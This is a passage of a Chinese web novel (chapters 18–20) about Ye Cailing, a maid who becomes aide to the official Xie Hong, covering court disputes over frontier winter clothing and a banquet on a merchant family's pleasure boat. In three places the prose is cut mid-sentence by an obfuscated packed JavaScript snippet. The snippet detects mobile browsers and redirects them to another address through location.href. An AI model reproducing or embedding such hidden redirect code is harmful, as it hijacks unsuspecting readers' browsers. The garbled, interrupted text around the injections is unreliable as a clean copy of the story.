谢泓道：“我记得大周某一年有过记载，道某地暴雨。雨后，太白昼现，星宿失辉。当时圣上尚小，我亦未入得朝堂，却是不记得如何写得了。” 他抬手招人进来。 江游抬头，却见到一个纤瘦婢女，挽一个简单的青螺发髻，却不掩容貌清丽姝婉。 江游摇头笑道：“此时茶水尚温，怎的宣岑就遣人添茶了。” 江游讲话含蓄，另一个文士则点的明了些：“不过红袖添香，也是雅士之事。既有美貌婢女，自然须得展示。” 谢泓只摇摇头，温声对她道：“染墨，你且去外间寻天象相关的典籍与府志，岁星、太白、辰星，不拘着种类，都可。” 叶采苓轻声应道：“婢子知晓。” 再回来的时候手里已是端上了托盘，相关的典籍都拿了过来。 江游奇道：“莫不是她将书籍都记下了？” “宣岑，我见探花郎身边的婢女，也能得个探花哪？” 谢泓噙一丝笑，却转向叶采苓，语气隐有得意：“染墨，你且与他们说。” 叶采苓心里无奈一笑，道大公子又开始展示了。 口中则道：“无他，婢女只是先前在文思书阁当值，对整理文书典籍有些心得罢了，若是说记，决计是记不下的。” 但江游这些人知道寻常司书婢女的水平，此刻便猜到叶采苓又是在谦虚。 却也不再打趣美貌婢女之类的话，正色起来。 江游等叶采苓退下，却是正色问谢泓：“这莫不是你前些日子与我说的，进京之时需带的助手？我还当是云白石青之类的小厮，怎的是婢女。” 谢泓道：“你也见了，我此番回京，若能入阁，身边人手便不足了。须得一个得力之人看管文书资料。” 他只提及入阁，但江游显然也心领神会，道：“如此便最好。” 江游顿了一顿，眼睛望向谢泓，其中的意味倒是明白：接下来所谈政事，还需让她旁听么？ 叶采苓察言观色，此刻温声道：“婢子便退下了。” 谢泓不动声色地叹口气，许了她出去。 送走江游等人，谢泓走出水榭，对叶采苓漫不经心道。 “染墨，方才你为何离开小筑？” 叶采苓道：“我见众人开始议事，故离开了。” 谢泓望她一眼，却带着几分不赞同，道：“我先前便与你说过，许你旁听。你在典籍这方向是有天资的。” 他道：“你若有心，听上几日只会大有长进——京中会遴选女官，以你的资质有望。” 叶采苓的目光亮了又亮，睫毛像扑闪的萤。 但她心念微转，最后却只是低声道：“左右女子无才，公子之前提及女官遴选，我想着那也只是给高门贵女定的，我一个司书婢女，却是也不想肖想这些。” “安分做事，便是染墨所求。” 谢泓目光沉沉地看着她： “你这么说，但我却不信。” “永远不要为自己设限。”他说：“你若框定边界，你便会在那框中循规蹈矩。” “但此刻无人为你框定那界限。” “若你真的尽力去做，也会惊叹于自己的能力。” 叶采苓望着谢泓的眼睛，忽地心口一热。 “我便试试。” * 明月已至中天，夏末的草虫传来嗡鸣。 又一日，叶采苓从书阁离开，微微打了个哈欠，轻手轻脚地走出书阁正门，回首把门锁上。 月茜正在厢房里就着油灯，低头打着络子。 此刻见到叶采苓，把络子一扔直接扑上来，亲热地埋怨道：“说好今天要来玩的，怎么现在才来？” 叶采苓无奈地往后靠靠，口道：“哎，须得小心，莫要乱扑。” “有些事情耽搁才来迟啦。给你带了甜酪子，喏，加了蜜瓜的。” 月茜嬉笑着接过，此刻却是不再计较，望着叶采苓认真道：“染墨，我看大公子身边做事亦很辛苦吧？” “为何？”她道。 月茜仔细端详叶采苓的眉眼。眼前人依旧是纤瘦好看的，但与她记忆中温温柔柔的染墨一比，此刻她脸颊更削瘦，望着有疲惫之色。 但她眼神却比先前更沉稳，眉目流转间竟有了几分明亮清冽的从容之态。 月茜微微一顿，道：“大概是你又瘦了不少。但不知怎的——我看着你此刻，却和大公子有几分相似。” 叶采苓摇头道：“怕是天天在小筑当差，见公子的时日太多了。” 她转过头问月茜：“倒是你，说是三公子有意纳你为妾？” 月茜一怔：“怎的连你也知晓了？” 她双颊绯红：“我还特意……特意嘱咐过他不要说的。”双手下意识地拧起袖口来。 叶采苓道：“也不是我专门去打问。只是三公子那日去大公子书房，见到我却说，他记得我之前是与你一道的。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13464256|141822||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“他便与大公子谈了几句。” 言道这里，叶采苓却想起那日的光景。谢泓淡淡地负手立在那里，只道。 “未娶正室而纳妾，你若真要问我，我觉不妥。” “淇哥儿，等你有心仪之人，想娶她为妻之时呢？” 他的言外之意，谢三公子谢淇显然听明白了，却只是玩笑般耸耸肩，浑不在意：“长兄你还是守旧。良妻美妾——这才是人生大幸啊。” “左右只是纳个妾罢了，”谢三公子笑道，却是有些轻佻地拿下巴示意叶采苓的方向：“我看长兄你的婢女亦是貌美，能胜过月茜哪。” 叶采苓心下巨震。 但谢泓却微微皱起眉头。 有种自己的东西被人觊觎的不满，还有几分说不上来的不愉快。 他对外示人的形象一向进退有度，端方若朗月青松。此刻情绪的外露已是有几分明显。 谢泓周身冷然的气场让亲弟弟谢三一愣神。 “长兄长兄，我开玩笑的。”他一边退后，一边不忘捧谢泓一手，力图让对方忘记自己刚才的逾越：“谁不知道你有一名得力婢女，貌美聪慧胜过京中女官，如此才华定是要跟你进京的，是否？” 竟然这么多人都知道了么？ 谢泓眸光更冷。快速送走谢三，却见叶采苓有几分失魂落魄。 他便准了叶采苓休假。 谁承想她依旧修读典籍到半夜，此时终于得闲见月茜。 但望着月茜充满憧憬的眼，她却硬是将自己在水榭的所见所闻咽进肚子里。 不能说，说了又有什么意义呢？月茜她一心思慕三公子，但书阁婢女自是无法肖想做他堂堂正正的妻。做妾已经很不错了，不是么？ 月茜见叶采苓神色复杂，猜到了什么，却也不追问。只一脸轻松地道：“是不是过几日就要进京啦？我听说大公子本该浴佛节一过便要走，已是多拖了月余呢。” 叶采苓想起来，却是正色道：“是了，我此番寻你，也是知道你与我关系最亲近，想听听你的想法。” 她认真道：“若我进京，大抵要去选女官。我没指望着能一次选上，想来会一面当着大公子书房的婢女，一面准备遴选。” “若能选上，应当会入朝堂。但从此便无法回云州，亦无法出宫自在快活。” “并且，”她有几分犹豫之色：“女官制度是容太后一力推行，至今不过三年有余。此时仍无法看出选上女官后会有何等成长。” “你说，会不会到时什么都没得到，全是一场镜花水月？” 月茜抱着膝盖望着她，此刻眼睛里却满是坚定神色：“不会的。你要去。” “听说京城有很高的灯楼。”她忽然道：“有比谢府浴佛节还要盛大的各种节日。” 月茜弯起唇角，“我记得有人与我提过，京城的贵女们还会结伴出去赏花玩乐，能打马球，能挽弓练武。多得意的日子。” 叶采苓望着她，低声道：“但我不一定能成为她们啊。就算是成为女官，也不一定能有这些日程。” 月茜道：“但你已经有机会了。染墨，你可以去选择，不是么？” 她忽地轻笑出声：“我恋慕谢淇，我便做他的妾。但我焉能不知，妾只是玩物？” “但你——”叶采苓怔住。 “只是啊，我没有其他的路可以选了，染墨。” 话语从月茜口中飘出来，轻得像一声叹息。 “我是家生子，自小就在这院里长大的。若让我出府，让我去京城，只外面那些不怀好意的男子便能让我无从招架。” “你以为我有很多路，我其实只有一条。从来……都只有那条路。” 月茜很少这么说话，此刻她话语中的含义，却让叶采苓有几分失神。 原来她都清楚。她比自己想的更清醒。 月茜望着也叶采苓，眼睛里却是真真切切的祝福。 “采苓，你这么聪慧，一定会选上的。” 她喟叹，脸上有梦一般的神色。却是破天荒地唤了叶采苓的真名。 “去看看京城吧，采苓，我们困在这四方墙里，为什么不能去看看外面的世界？” 叶采苓望着她，却看到对方眼里隐隐的泪。 “去。” 她道，听到自己的声音从未有过的坚定。 即使那个世界暂时不属于自己——也要去争一条路。去看看这天底下，还有多少自己未曾行过的江河湖海。 18. 第 18 章 大周十七年。早秋。 秋季之夜一天胜一天的长，此时已是辰时，天空方蒙蒙的转亮。 一乘官轿行在宫墙内，到昭德门悠悠落了轿。 只因此门再向内行，便是朝廷内廷的范围之内，即使是官轿也无法进入。 一名着藤青圆领袍的女子下了官轿往内匆匆行，却是被人拦住。 小太监微微打量了一下。 面前的女子眉目清婉雅致，此刻被人阻拦，也只波澜不惊地停住脚步。 她垂眼看他，周身一种不由质疑的气场。 一望便知气度高华，身份定然不凡。 只是，她此刻并未着进宫觐见太后的贵女服制，却是作幕僚打扮。 小太监见她是生面孔，当是哪家的贵女出来游玩的，道：“这位贵女，前方便是内阁大学士议政的地方，并不是游玩的地方，还请您回去吧。” 也不怪小太监看走眼。 叶采苓随谢泓进京几年，成长却是极为迅速。此刻有意做沉稳模样，有个谢泓七八分气度，望着却是十足的清冷高华。 她微微蹙眉。 “我便是应阁内大学士之邀前来的。” 太监笑道：“咱家当值这些年，却未见过有姑娘家能来议政的。就算您做幕僚打扮，但这里头也不是什么好玩地方。” 他向旁边一努嘴：“您瞧，就算是真幕僚，此番也都在西边暖阁歇着的，等臣子们议政出来，方跟着回去。” “内阁议事的时候，寻常臣子都无法进去，幕僚焉能进呢。” 小太监心道自己这一番劝，足以见得真诚。其实他当值不久，也见过幕僚进入，但那是首辅段长明的亲儿子，首辅有意带着他在身边学。 此番这陌生贵女想进去，却是决计不能的。 叶采苓目光镇定，目光却是越过此人，只对着远处一人从容道：“此番进入，还费些周折。” 小太监猝然回望，却见远处，自己师傅取了金烛正小跑着回来。 一叠声道：“叶姑娘得罪了，这小子刚当值，宫内规矩尚不熟悉。我先替姑娘收拾他。” 转头低声对小太监训道：“去，一边待着——学着点。” 叶采苓温声道：“无妨。今日确有要紧事，须得进入文渊阁。” “您进。” 掌殿太监拂尘一扫，未有一丝迟疑。 只目睹叶采苓背影进去之后，方抬手给了小太监一记暴栗：“记住了，日后千万莫要擅做决定。” “方才那是谢大学士的幕僚，谢学士入内阁没多久，已经极受圣上看重。” “能到这个位置的没一个缺心眼的，保不齐哪日人家继续高升，若是想起你这个当初拦着的小卒子呢？” “——这宫里水深着，明白了？” 小太监捂着额头，呆呆望着前方的背影。 * 于此同时，文渊阁内，气氛正焦灼。 今日圣上未上完早朝便拂袖而去，却是因为边卫兵士哗变。气得圣上只听完长宁侯的报告，就再没有听其余人的，只道散朝。 内阁辅臣七人，此刻散朝之后，却都默契地留在了文渊阁。 首辅段长明坐在上首，此刻冷着脸不出声。 自有人替他出面——任丘大学士见状拈了一缕须，已经开始呵斥。 “圣上今日极气，却是长宁侯未与内阁通气的缘故。怎的今日早朝之事，无人与内阁报来？” 一时间无人应答，却已是有几双眼睛转向列席最末的谢泓。 大周内阁辅臣，各有其司职。若是说真有人有义务总结今日朝堂议事，轮到的往往是新入阁之人。 况且这位谢探花入阁实在是太早，年少便爬到此位，虽有圣上赏识，但在段长明这些阁内老人眼里，依旧风头太盛，须得打磨。 “塞北边卫兵士哗变，”谢泓道：“我前些日子已与元辅讲过。段元辅是知情。” “此番圣上气恼，下官认为，哗变是真，但圣上背后之意却不止于此。” “哦？你且说说。” 段长明眼睛未望他，只开口道。 谢泓微微挺直脊背：“边卫哗变，为的是何？直白说，便是衣食。克扣兵士衣食以至于谋反，当地为政，是否苛刻？已至何等地步？” “圣上想到这一层，只会如鲠在喉。” 身兼西北行度指挥使的任丘听到此处，心道矛头指向自己。却是皮笑肉不笑地开口。 “我辖区昌明，怎会有如此情况。米粮及衣物，一向由江南富庶之地运来，只是近些日子南方连阴雨，车马暂且被阻滞于途罢了。” 段长明点点头：“此言说的是。谢学士，你年岁尚轻，却是不明白这些米粮千里迢迢运去塞北，舟车劳顿之苦。” 谢泓温声道：“下官亦是江南出身。云州虽偏僻，近日确是下着绵绵秋雨。下官自是知晓路途不便。” “但下官那日已和您提及。兵士们不单单缺口粮，更重要的是塞北苦寒，京内却迟迟不提供御寒衣物。” “缺少食物，尚可从戍边田地里自给自足。但缺乏衣物，却无计可施了。” “——圣上之怒，怒的便是明明京内钱粮富庶，却放任塞北将士在寒风之中熬煎。” 谢泓明知段长明已经知晓他之前的汇报，此番发难，却又是在针对他。 若此刻不再辩，怕之后又将不察朝政的帽子扣在他头上。 于是把问题点的极明白。 端看段长明一派如何接。 谢泓话锋一转，又加一码：“那日下官与元辅之谈，景华前辈亦是在场的。” 次辅张拱辰闻声一愣，胖乎乎的脸上却是笑呵呵地道：“啊，那日我的确在场，只是下官多年未接触江南，并不知道此时情况啊。” 张拱辰心道你们两人斗法，不要拉我入局，我只想平平安安退休终老。 段长明便接话道：“正如次辅所言，现下不同于往日，连阴雨影响朝廷为兵士提供军需。我大周地幅辽阔，情况却是不一。谢学士方入阁，许多情况却是不甚知晓。” 段长明便不再理会，扬声对其余辅臣道：“我们做臣子的，如今便要想些为圣上分忧的法子。米粮之困尚可解，只是衣物这里，众学士有无排忧解难之法？” 任丘一喜，却是恰到好处地扬声接话。 “我见江南因阴雨影响织布，鲁北产棉区却未受影响。下官识得鲁北客商，我可以联系对方，不出月余，秋季衣服便可以赶制出来。” “哦？任学士有这番机缘，便是恰为天子分忧了。” “只是鲁北运送不便，现下紧急添人手， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13464257|141822||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怕是来不及。” 谢泓凝神望去，焉能不知道此番几个人在谋算什么。这番铺垫，最后导出的便是顺理成章加些经费。 满口为圣上，但给自己筹谋的算盘打得却是响。 但所幸他已留了后手，此番却从容。 望一眼殿中铜香炉。一炉香燃尽的时间是半个时辰。算时间，她也应该到了。 内阁议事告一段落。 段长明端起桌上杯盏饮一口，道：“我见任学士之议是可行的。明日须得禀明圣上，再做决断。” 目光却是移向谢泓：“小谢，既然今日之风波因你而起，不如你便拟一封奏折，明日早朝交给圣上吧。” 只听此话，不知情的人会以为段长明是给了谢泓一个将功补过的机会。 谢泓心里却明镜一般。 既无过错，又何来补过。况且这位国舅权倾朝野，已是成为某些人眼中钉，此刻提出意见的任丘却躲在后头，端的让他来出头。 若是事成，无他好处。若事不成，他又是会如同今日一样毫不留情地被推出去顶包。 谢泓从容地伸展了一下手腕，只将面前的茶盏推得远了些。 忽地道：“只是我这里亦有一问。” “元辅您说下官不了解江南情况，任学士亦说江南无法提供足量布匹。” “下官却是实实在在遣人去寻过。” 偏巧正在此时。 阁外传来通报，谢泓道一声得罪，先行离位。 叶采苓候在阁外，此刻递上一份账册，低声道：“路途涨水，属下来迟了。” “无妨。” 谢泓接过账册大略一翻。 见上面数据详实，心里已定下来几分。 叶采苓又递上另一本册子。 “我去寻访江南织坊，与几位女工相识，关系变亲近后她们便与我讲了些现状。坊内盘剥情况令人吃惊，但若是只论布匹产能，织坊足可以完成兵士军需订单。” “那这布匹产能，是否与天气有关？” “只与成布种类有干系。阴雨天气易使丝线受潮，继而变得不易相互穿梭编制。故棉绸类纺织慢些。但军中若是换用以麻草材质织的粗布，却是不甚影响。” 她放缓声音，道：“麻草坚韧，且更易取得。” “若是如此。”谢泓眼神一亮：“你便随我入阁去报。” 叶采苓略一顿：“此前未有过先例——大学士当真？” 她此刻唤谢泓官职，显然是有几分考量。 谢泓明白她心里顾虑，却温声鼓励道：“且放宽心，只是你亲去探访江南丝织，你去说便更有力些。” “只是……我非朝臣。京中女官逢三年一选，此刻亦尚未开始选拔。” 下半句话她未提，但两人都通透，此刻却是听得明白弦外之音。 无官无职，又是女子身。她此刻入的是大周文渊阁，阁内诸位皆是重臣。 由一介草民上报，会否不妥。 谢泓却好整以暇地抚了抚官袍袖口，淡然道：“你随我入阁，你说的任何话便由我背书——便是说错，亦是我之错。” 叶采苓一愣。 这话却是实实在在地对她予以袒护。 谢泓噙一丝温润笑意。 “无妨，只管放心去说。” 19. 第 19 章 进入内阁，阁内几位权臣都望着眼前女子。 她容色殊婉，却是作男子打扮，利落地绾起一头青丝。此刻眼神明亮，不卑不亢地依着礼数行了礼。 “这位姑娘，谢学士道你知晓江南丝织情况，且报来罢。” 见元辅那派的人不说话，次辅张拱辰不得不出来打个圆场。 叶采苓呈上账册，道：“小女祖籍江南，此番回乡，却是恰巧问得家乡丝织之况。” 此时此地出现这样一个人，明眼人必会知道她必然是谢泓的人，专门回去调查的。但台面上的话依旧还是要说。 “一台织机，星夜兼程赶制，可得十余尺丝绸。一座丝织厂仅十台织机，赶工可赶出二十匹布。” 任丘正翻那账本，此刻把账本轻轻望台面上一掷，道：“那便与我这里所得的消息一致。” 面对几位重臣，叶采苓眸光依旧静如水，温声道: “小女刚刚说的只是丝织。织丝机若是去纺织耐用的粗麻布，却不止如此了。” 任丘一愣。 “粗麻布？” 叶采苓道：“大周十二年，佘水县承办将军府内护卫衣装的布料。用时十日，以麻料织布，制得五十匹。” 她又温声道:“江南连阴雨，影响的只是蚕丝业。而秋日正是纺纱织布的时日，下雨却是对麻料无碍。且麻料更易得，纺织起来便捷许多。” 任丘被此话当面下不来台，脸色变得难看起来。 但他为官许久，此刻反应并不慢，只皮笑肉不笑道：“边塞军士劳苦，此番这位姑娘的意思，改棉为麻，难道竟是还要削减军中物资不成？” 叶采苓微微摇头，只沉静道：“麻料质优耐磨，只会更利于行军，怎会有削减之意。况且军中之用，俭而不损其威。” 这话一出，连次辅张拱辰都暗暗点头。 段长明只望着眼前的女子。 之前任学士便与他提过，谢泓此人心机极深，身边又有好几个难缠的角色。 此前只听过有一女幕僚，常常借女子身份出入一些男子不便出入的场所，博取信任获得消息。 此番得见，却不是想象中模样。 只看面容却温婉清丽的紧，没想到却是明珠暗投。 段长明心道谢泓想得还是浅显。朝政之事风云诡谲，岂是他们搬出几台织机数据便可以定音的。 只是此时他们列出数据，明面上却也不宜再提任丘此议。 “罢了。” 最后定音的仍是段长明。 段长明望了一眼文渊阁角落正在秉笔直书的小吏，心知表面功夫须得做全套。 谢泓此番与他段长明斗气，目光还是浅了。 但此时他只是不动声色地抬手制止还想争辩的任丘，对叶采苓却是和颜悦色。 “此番前去江南，舟车劳顿，着实辛劳。回京后有无去京郊散心？” 只道了几句闲言，竟是和气地结束了此番对话。 出了文渊阁。 叶采苓见周围无人，方才松了口气，道：“刚刚我便以为要搞砸了。段元辅一气追问，我担心他觉得我是故意去与他作对呢。” 谢泓望着她失笑。 这个时候却见不到方才那副凛然模样了，她放松下来的眉眼很是灵动，看着很可爱。 但对叶采苓的问题，谢泓则是摇摇头。 “你以为他是宽宏大量，放你一马？实则从你进来的那一刻，已经被定性好派系了。” “之后你说的每一句话，都在为你的阵营发言。他做出这样的态度，实则只是他知晓与你商议并无用处。这些人汲汲营营，为的仍是利益。” 他有意引她思考，语速放得缓了些。 叶采苓也是初次在朝臣面前露脸，此刻却是慢下脚步，凝神思索着。 “但若按公子所言，我今日提及的丝织数据，根本上是否也是无用？”她尽力捕捉谢泓话语里那一丝深意，此时带着几分试探问道。 “为何？” “朝堂之上派系林立，光凭表面文章，如何能够推翻利益结成的同盟呢。”她回道。 谢泓拊掌轻笑：“是上道了。” 他道：“任大学士此前仕途不顺，一直试图搭上容国舅，苦于没有机会。容国舅自有他敛财的路子，看不上这些小打小闹。但今年遇到转折——” 叶采苓抿唇，忽地接话道：“漠北大败，玄铠军元气大伤。” “确实。容氏一力主战，却忽视军情，不得塞北民心。任丘是甘州人士，此番心思便活跃起来。” “今日我出面，无非是告诉他们我已知晓这摊浑水，不会由着他们指使。且塞北边卫哗变，背后却逃不开太子与裕王的博弈。” “我见此番事态，并不会以此为终点。” “所以江南丝织果然是幌子？”叶采苓却想到自己近些日子在丝织厂的观望，声音有些许的滞涩：“税负已经繁重，当地女工为了课税之余多织些布，已是双手起茧，星夜不停。” “若是仅仅因为这些原因断了供给，滞销的布匹又如何呢？” 那些普通的民众又如何呢。 “小叶，你听我说。” 她此刻慢谢泓半步，抬头望他。 “我知天地不仁，生灵熬煎。我知朝堂利益盘根错节，仅靠表面文章自是无法打破。” 有阳光穿过飞檐琉璃瓦，自鸱吻上遥遥落下来，在谢泓的眼角上打上一道清寒而锋利的影子。 他道。 “你莫担心。既然他们已将我视为眼中钉，我便笑纳。” “此番我以身入局——便欲要博一搏那只执棋的手。” * “公子，这便是你的计划？” 次日夜晚，叶采苓端着甜碗子，有些呆滞地望着湖面。 面前画舫朱红飞檐似要浸入云里，烛火照得整座画舫通明，水面亮得都要像烧起来似的。 谢泓破天荒地着一身月白绸袍，手里拢了把扇子，却是很有几分富家子的模样。 闻言执扇子敲了敲手心，道：“小叶何意？” “公子啊，你真觉得我像是商行掌柜么？” 叶采苓无声地示意他去望此刻周围的人群。 衣香鬓影之间，大多数等待上画舫的人看着都很是沉稳，男子居多，更是几乎全部蓄须。他们两个年轻男女望着却是格格不入。 谢泓望望她手里端着的甜碗子，心里失笑。若她真想装好商行掌柜，不如在路上就莫要买甜碗子吃。 他们两个半斤八两罢了。 口里却道：“无妨。宁氏此番手笔不小，只是此处等着登舫的人多是商行的罢了。还有不少京内有头脸的人物，也收到邀请了。” 叶采苓：“但宁氏与段元辅、任学士有关么？” 谢泓正色道：“并无此说。只是姑苏宁氏在当地富甲一方，宁氏也不愿偏安南江一隅。此番宁氏设宴，大抵只是试探一番，看看京中谁有意接洽。” “他们自恃身份，大抵不会来。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13464258|141822||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 叶采苓一愣：“那我们此番前来又是做什么？” 谢泓无奈道：“江南织坊回来，怎的开始打破砂锅问到底了。” “我总得知道我须得做什么吧。”叶采苓小声。 谢泓执折扇轻点她额发：“宁氏今夜设宴是大手笔，就当来见识一下姑苏盛景的，怎样？” 心里却是生出怜惜，他此番带她赴宴，也是知道她前些日子星夜兼程，有意让她休息。 “好了，画舫开过来了。” “此番便仰仗你了，叶掌柜。” 谢泓轻松道。 他知晓，宁氏此番并不是单纯地要设宴。宁氏入京，大抵是也想打开自家宁绸的销路。但此刻月色正好，他却无端地并不想再让叶采苓背着那些查探的任务。 虽然给了她一个掌柜的假身份，但他更想看到，叶采苓就像那些与她同龄的世家小姐一样，轻轻松松地在画舫上游玩。 叶采苓心下转了转。 很少见到公子如此放松的态度，且遇到真正要紧之事时，谢泓他是会提前筹谋到每一个细节的。 如此看来，今日却是真是赴宴来了？ 她踏上画舫。 舫内已有歌伶，着水色绸衫，在悠悠地吟唱姑苏小调。 此时中庭熏着苏合香，清远雅致的香气里隐隐混着松木气息。望着画舫内部，却不像外头那样灯火通明，而是恰到好处地点着金烛，衬得整座画舫古朴雅致。 能想见主人有不俗的审美。 “你看，那便是宁氏二公子，今日宴会主人。” 谢泓提点道。 叶采苓抬眼一望，见一位着玄色绸缎圆领袍的男子，望着却是出人意料的年轻。他此刻立在歌伶旁边，正微笑着向周围围拢的人群介绍着什么，眉目斯文，一副儒雅姿态。 “……便是我宁氏宁绸。”宁金鹤的介绍方告一段落。 “宁氏近几年版图扩得极大，传言是这位宁二公子一力主导。正是锐气无匹之时。”谢泓点评道。 叶采苓点头：“宁氏派如此年轻的公子过来，也是敢于用人。” “宁二公子只是年轻，但资历却不浅。”谢泓与叶采苓随意聊着，却听得一声小童发出的吃痛声。 “哎哟！” 那男童约莫总角之年，着堇紫短袍，此刻额角撞到桌面转角，正一脸忧愁地揉着发顶。 他正专心揉着头痛的地方，却是没有看路，一转身撞到叶采苓腿上。 小童开口，却是一本正经道：“男女授受不亲，这位姑娘还是注意些距离为好。” 叶采苓的角度，只能看到这小家伙头顶的发旋。 这么大点的小童，却在这里讲些古人道理。 她不由得失笑道：“你是哪家的孩子？说话却是有意思。” 男童：“姑娘莫问出处，吾此番赴京，自是因族门有要务需理，不能与你多说。哎——二哥莫要揪我头发！” “两位见笑了。” 儒雅的男声响起，却是刚刚那位玄衣商贾，宁金鹤。宁金鹤一手提起男童衣领，脸上却是一副斯文笑意，只对叶采苓谢泓两人道。 “小弟近些日子在京买了些话本，大概是被话本影响着，入戏太深了。” 男童还想抗拒：“二哥，我等需得保守身份，得令吾宁氏之业重登峰极！” “宁玉楼，好好讲话——若是想回姑苏了便直说。” 男童见被兄长一语道破身份，此刻像个恹恹的小雀，拖长声音道：“知道了——” 20. 第 20 章 宁金鹤望着谢泓并叶采苓一拱手，微笑道： “谢兄能来，是我宁氏幸事。若招待不周，还请两位海涵。” 他视线转向叶采苓，“敢问这位姑娘如何称呼？” 叶采苓笑道：“小女姓叶，左不过跟着家父做些买卖的小生意，此番跟着谢公子来的。早闻宁氏富贵，今日却是真真见识到何为水上仙境啊。” 她场面话信手拈来一段，又把谢泓给她的身份演绎一番，心里却道宁金鹤是个细致的。在场几人都能照顾到。此前，多的是人见到她跟在谢泓身后，只因着女子身份，就直接略过她。 而宁金鹤微笑道：“那我便称一声叶掌柜了。叶掌柜，此时宴会方起，若有什么需求，和画舫上家仆提便可。这些人都是我从姑苏带来的，办事可靠。” “谢兄，画舫三层正在筹备今晚的宁绸展示，你若有兴致，可以一同去看看。”宁金鹤道。 琉璃灯下谢泓的眉眼望着却是柔和了几分，像墨玉浸没入水，多了几分温润光色。 他笑道：“今晚不提。我今晚便是跟着叶掌柜来赴宴的，有何事我们之后商议，如何？” 宁金鹤微微一愣，却是从善如流，“那便好好歇息。” 叶采苓听着心知今天大抵真的是来游逛的，放下心来。 不久后拿着宴上的糖丝缠吃的很是快活。 她随意一瞥，却又见那个堇衣小童，此刻正踮起脚来够桌上的甜食。 他应是有家仆看着的，但大抵是被什么事情耽搁了，此刻周围却是无人。 叶采苓好心去帮他一取。 宁玉楼拿到糖丝缠，眨眨眼望她，又是力图展现话本中世家子那样的语气。 “今日之事，谢尔全力相援。” 她点点头，笑着看宁玉楼圆嘟嘟的小脸，心道宁氏这两位公子实在是有意思。 宁金鹤望着和善可亲，弟弟宁玉楼却是板着一副小脸，开口是老气横秋的模样。 宁玉楼吃完糖丝缠，此刻拍了拍双手。 叶采苓及时制止了对方试图把手往袍袖上蹭的行为，只道：“今日宴会怎的这么多人？你有无家仆跟着？” 宁玉楼摇摇头：“奶娘与家仆却是都寻不见了。” 叶采苓见他独自一个人还要在画舫乱逛，心道这里虽然是宁氏的地盘，放任这么一个小家伙四处乱走也恐生危险。 便牵着他手去寻宁金鹤。 两人边走边讲话，却是无人听见那欢宴之中一丝细微的铮鸣。 那是带着血腥味的兵刃，在武器袋中相互碰撞出的敲击声。 画舫行于湖中，有心之人看去，却是天然的孤岛。 谢泓此刻视线里不见叶采苓，微微皱起眉，心里有几分隐隐的危机感。 与此同时，画舫另一端的宁玉楼身量尚小，此刻努力迈动小腿，却还是跟不上叶采苓的脚步。 叶采苓放慢步幅，想起今日初见他的情景，却是忍不住好奇道： “你为何要如此说话？文绉绉的，便是与谁学的啊？” 宁玉楼歪头看看她，“我见二哥他们都是如此说话，显得很有城府。话本里也都是这么说的。” 叶采苓失笑：“你年岁尚小，却是不必如此，不如去多与同龄小童玩耍，不好么？” 宁玉楼却摇摇头。 他眼瞳乌溜溜的，却十分清澈。 “不行的。我等需得赶快学习经商之道，方得成我家族之霸业。” “为何？” 叶采苓心道他懂什么叫“霸业”，又是从话本里瞎看的词。 “因为我家里有很多人。” 宁玉楼没头没脑地来了这样一句。 大抵是有些不好意思，他放低了声音，只小声嗫嚅着：“如果不尽快学会经商……就不会变得厉害，就会被其他人欺负。” 叶采苓听完小孩子的这一串话一愣，又觉得自己隐隐窥见了宁氏富贵之外的一丝裂痕。 宁氏在姑苏一带很有根基，此番只派两个年轻公子来京，却是的确有些不寻常。 若是事成，自然回去面上有光。但若是不成呢？ 她不愿去想，深吸一口气却是笑道：“但你知道么？” “若是城府足够深，才能让人看不出城府呢。” “你想想是不是这个道理？” 她望着宁金鹤今日在画舫上一直都是温和得如同春风拂面，却是左右逢源，已经与不少人结下交情。 宁玉楼一副故作老成的模样，却显得过于努力，落了哥哥宁金鹤下风了。 但他只要多去经历，却总有变得成熟的一天。 宁玉楼一愣。却是对这位叶姐姐心生出几分好感。 谁是真正在与他对话，谁只把他当个孩子敷衍了事——他年岁尚小，却是也能分辨的出。 此时脑子里努力想了想叶采苓刚刚关于城府的话，明明觉得听起来很有道理，脑子却是有些转不动了。 宁玉楼哼唧两句，控制不住地打了个哈欠。 “唔……” 有些犯困。 叶采苓心里便软下来，心道这还是小孩子呢。 见前方立着宁金鹤，她心下一松，便牵着宁玉楼的手走过去。 笑道：“你这位弟弟可是对宁氏用心了。”她这边笑吟吟地给宁金鹤讲完刚刚的对话，把犯困的宁玉楼交到他兄长手上。 宁金鹤脸上亦漾起笑，唤来家仆，送他到画舫楼上。 语气温柔：“之后再学经商之道吧，现下该好好睡一觉啦。” “睡醒了，再与你一起逛逛京城，好么？” 